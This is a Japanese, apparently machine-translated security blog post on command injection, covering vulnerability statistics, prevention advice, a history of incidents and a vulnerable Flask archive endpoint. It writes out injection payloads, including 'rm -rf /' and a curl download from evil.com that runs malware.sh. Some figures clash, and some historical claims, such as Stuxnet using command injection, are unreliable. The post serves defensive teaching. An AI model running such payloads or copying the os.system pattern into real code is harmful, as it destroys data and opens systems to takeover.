コマンド・インジェクションとは?
コマンド・インジェクションは、SQL インジェクションやコード・インジェクションほど有名ではありませんが、ウェブ・アプ リケーションにおいて未だに広く見られる脆弱性です。もしあなたが他のインジェクションの脆弱性に精通しているなら、共通の原則を認識するでしょう:信頼されな いユーザ入力が適切に検証されず、任意のシステムコマンドの実行につながるというものです。この欠陥は、検証されていない入力がシステムレベルの関数に渡されたときに発生します。では、コマンド・インジェクションは実際にどの程度目立つのだろうか? 私たちは、この脆弱性がどの程度一般的に見られるかを調べました!
コマンド・インジェクションの例
このコマンド・インジェクションの例を考えてみましょう。サーバーにホストされているファイル名を入力するアプリケーションがあるとします。アプリケーションはそのファイルを取得し、内容を書き出します。そのコードは以下の通りです
import os
file_name = input("Enter the file name: ")
os.system(f"cat {file_name}")
上記のコードは、ユーザーが次のようなファイル名を挿入することを想定しています。 ファイル.txt
しかしその代わりに、悪意のあるユーザーがコードを注入して悪意のあるコマンドを実行する。
例えば
ファイル名 file.txt; rm -rf /.
この入力は、まず ファイル.txt
を実行し、悪意のある rm -rf
コマンドは、ディレクトリ内のすべてのファイルを強制的に削除する。
悪意のあるユーザは、アプリケーションがユーザの入力を検証またはサニタイズしていないため、コマンド・インジェクション の影響を受けやすく、これを行うことができます。
より包括的な例をご覧になりたい方は、 このページの下にあるボーナス・コンテンツをご覧ください。
数字で見るコマンド・インジェクション我々の研究
- 2024年にオープンソースプロジェクトで発見された全脆弱性の7 %がコマンドインジェクションだった
- クローズド・ソース・プロジェクトでは5.8% !
- オープンソースプロジェクトにおけるコマンドインジェクションの脆弱性の総数が2,348件(2023年)から2,600件 (2024年)に増加する見込み。
- 全脆弱性に占めるコマンドインジェクションの割合は、2023年から2024年にかけて、オープンソースプロジェクトで14.6%、クローズドソースプロジェクトで26.4%減少している。

私たちの研究は、オープンソースとクローズドソースの両方のプロジェクトを調査し、その中にコマンドインジェクションの脆弱性がどれだけ隠れているかを明らかにすることに重点を置いた。
オープンソースプロジェクトで報告された全脆弱性の7%がコマンドインジェクションであり、クローズドソースプロジェクトでは5.8%であった。 これは、SQL インジェクションの脆弱性の発見数にかなり近い。
2023年から2024年にかけて、これらの脆弱性が減少するという確かな傾向が見られます。全脆弱性の割合としては、クローズドソースプロジェクトで27%、オープンソースで14%減少しています。これには多くの要因があると思われますが、重要な要因のひとつは、2024年にFBIとCISAがコマンド・インジェクションを現実の脅威として指摘し、ベンダーに注意を促したことでしょう。データによれば、この警告は聞き入れられた。
良いニュースは残念ながらそこで止まっている。オープンソースプロジェクトで報告された脆弱性の数は、全体的にまだ増加している。オープンソースプロジェクトで報告されたインジェクション脆弱性の総数は、2023年の2,348件から、2024年の今のところ2,450件に増加している(2,600件に達する見込み)。

コマンド・インジェクションを防ぐには
コマンド・インジェクションの脆弱性を防ぐには、多面的なアプローチが必要だ:
サーバー側の入力検証
よくある間違いは、攻撃者が直接リクエストすることでバイパス可能なクライアント側のバリデーションだけを実行することである。
import subprocess
# 入力制限の例
allowed_files = ['file1.txt', 'file2.txt']
user_input = "file1.txt" # これはユーザーからのものであるべきだが、検証される
if user_input in allowed_files:
subprocess.Popen(['ls', '-l', user_input])
else:
print("Invalid input!")
シェルコマンドを避ける
可能であれば、シェルコマンドを言語固有の関数やライブラリに置き換える。以下は、読み取り専用モードを使ってファイルを開き、その中のコンテキストを読み取る例である。
with open("file.txt", "r") as f:
print(f.read())
自動テスト
Aikido ようなツールを使ってソースコードとアプリケーションをスキャンし、これらの脆弱性を発見してください。
アプリ内ファイアウォールを使用する
インジェクション攻撃に対する最善の防御策の1つは、悪意のあるコマンドをキャッチしてブロックできるアプリ内ファイアウォール です。Aikidoアプリ内ファイアウォールZenは、オープンソースと商用で提供されており、実行時にインジェクション攻撃を検知してブロックすることができます。
最小特権の原則の適用
アプリケーションとユーザが必要最小限の権限で実行されるように設定し、悪用による潜在的な損害を減らす。
前進への道
コマンド・インジェクションは、多くのインジェクション脆弱性とともに、技術的な観点からは課題である。そのことを念頭に置いても、この種の脆弱性がいまだに多く見られるということは、飛躍的な改善は期待できないということだ。
コマンド・インジェクションは今後も問題であり続けるだろうが、今年、大規模な組織がこの脆弱性に注目した結果、大幅に減少した。
ボーナス・コンテンツ
コマンド・インジェクションの歴史:著名な侵害
コマンド・インジェクションは長い間、根強い脅威だった。実際、1989年から2014年まで、bashには重大なコマンド・インジェクションの脆弱性が存在していた。さらに最近の2024年には、CISAとFBIによってコマンド・インジェクションの重要性が強調され、依然として大きな懸念事項であることが示された。
1.コマンド・インジェクションの黎明期
- 最初に知られた使われ方コマンド・インジェクションの脆弱性は、1970年代から1980年代にかけてのマルチユーザー・コンピューティング・システムの台頭とともに出現し、攻撃者は未消化の入力を介して任意のコマンドを実行できるようになった。
- 1980年代と1990年代:ウェブ技術の普及により、コマンド・インジェクションの悪用が増加し、特に不適切に保護されたCGIスクリプトが悪用されるようになった。
2.重大な違反と悪用
- 1998:初めて文書化されたウェブベースのコマンド・インジェクション攻撃:広く使用されているPerlベースのCGIスクリプトの脆弱性が悪用され、ウェブベースのコマンド・インジェクションの最初の大きなインシデントの一つとなった。
- 2010:Stuxnet ワーム(組み込み型コマンド・インジェクション):Stuxnet は、コマンド・インジェクションを利用して産業用制御システムを標的にし、従来の IT 環境を超えた脆弱性を示しました。
3.2010s:規模での搾取
- 2014:Shellshock 脆弱性:Shellshock (CVE-2014-6271)はBashのコマンド処理を悪用するもので、世界中の何百万ものシステムに影響を及ぼしている。
- 2018:Cisco ASA VPN の悪用 (CVE-2018-0101):Cisco の ASA ソフトウェアにコマンドインジェクションの脆弱性があり、リモートでコードが実行され、企業のセキュリティが侵害されます。
4.2020s:現代のエクスプロイトとトレンド
- 2020:Citrix ADC Gateway Exploit:攻撃者は、Citrix システムのコマンドインジェクションの脆弱性を悪用し、重大なデータ侵害を引き起こしました。
- 2023:MOVEit の脆弱性(SQL およびコマンドインジェクション):MOVEit Transfer ソフトウェアのコマンド・インジェクションの欠陥により、複数の組織で広範なデータ侵害が発生。
リアル・コマンド・インジェクションの脆弱性
脆弱なコード
コマンド・インジェクションのもう少し複雑な例を見てみよう。以下は単純な Python ウェブアプリケーションのコードです。にPOSTリクエストを送ることで、指定したファイルのZIPアーカイブを作成することができます。 /アーカイブ
のルートだ。
from flask import Flask, request
import os
app = Flask(__name__)
@app.route('/archive', methods=['POST'])
def archive_files():
files = request.form.get('files') # User provides file names to archive
archive_name = request.form.get('archive_name') # User provides archive name
command = f"zip {archive_name}.zip {files}" # Command built dynamically
os.system(command) # Execute the system command
return f"Archive {archive_name}.zip created successfully!"
if __name__ == "__main__":
app.run(debug=True)
仕組み
ユーザーが供給する:
ファイル
(例file1.txt file2.txt
) を使ってアーカイブに含めるファイルを指定する。アーカイブ名
で、結果のzipアーカイブの名前を指定する。
このコードはシェルコマンドを動的に構築する:
1. zip アーカイブ名.zip file1.txt file2.txt
2.2. os.system()
関数はコマンドを実行し、ユーザーが提供した入力がコマンドの動作を決定する。
搾取
攻撃者はこれを悪用し、追加コマンドを アーカイブ名
または ファイル
を入力する。
攻撃側が提供する入力:
アーカイブ名
:my_archive; rm -rf /.
ファイル
:ファイル1.txt
コマンドの結果
zip my_archive.zip file1.txt; rm -rf /.
zip my_archive.zip file1.txt
: 期待通りにアーカイブを作成する。; rm -rf /
: 別の破壊的コマンドを実行することにより、サーバー上のすべてのファイルを削除する。
より洗練された例
攻撃者はこれを悪用してマルウェアをダウンロードしたり、データを流出させたりする可能性がある:
アーカイブ名
: アーカイブ; curl -o malware.sh http://evil.com/malware.sh; bash malware.sh
結果コマンド:
zip archive.zip file1.txt; curl -o malware.sh http://evil.com/malware.sh; bash malware.sh
このコマンド:
- アーカイブを作成する (
zip archive.zip file1.txt
). - 悪意のあるコードをダウンロードする
curl -o malware.sh http://evil.com/malware.sh
). - マルウェアを実行する(
バッシュ malware.sh
).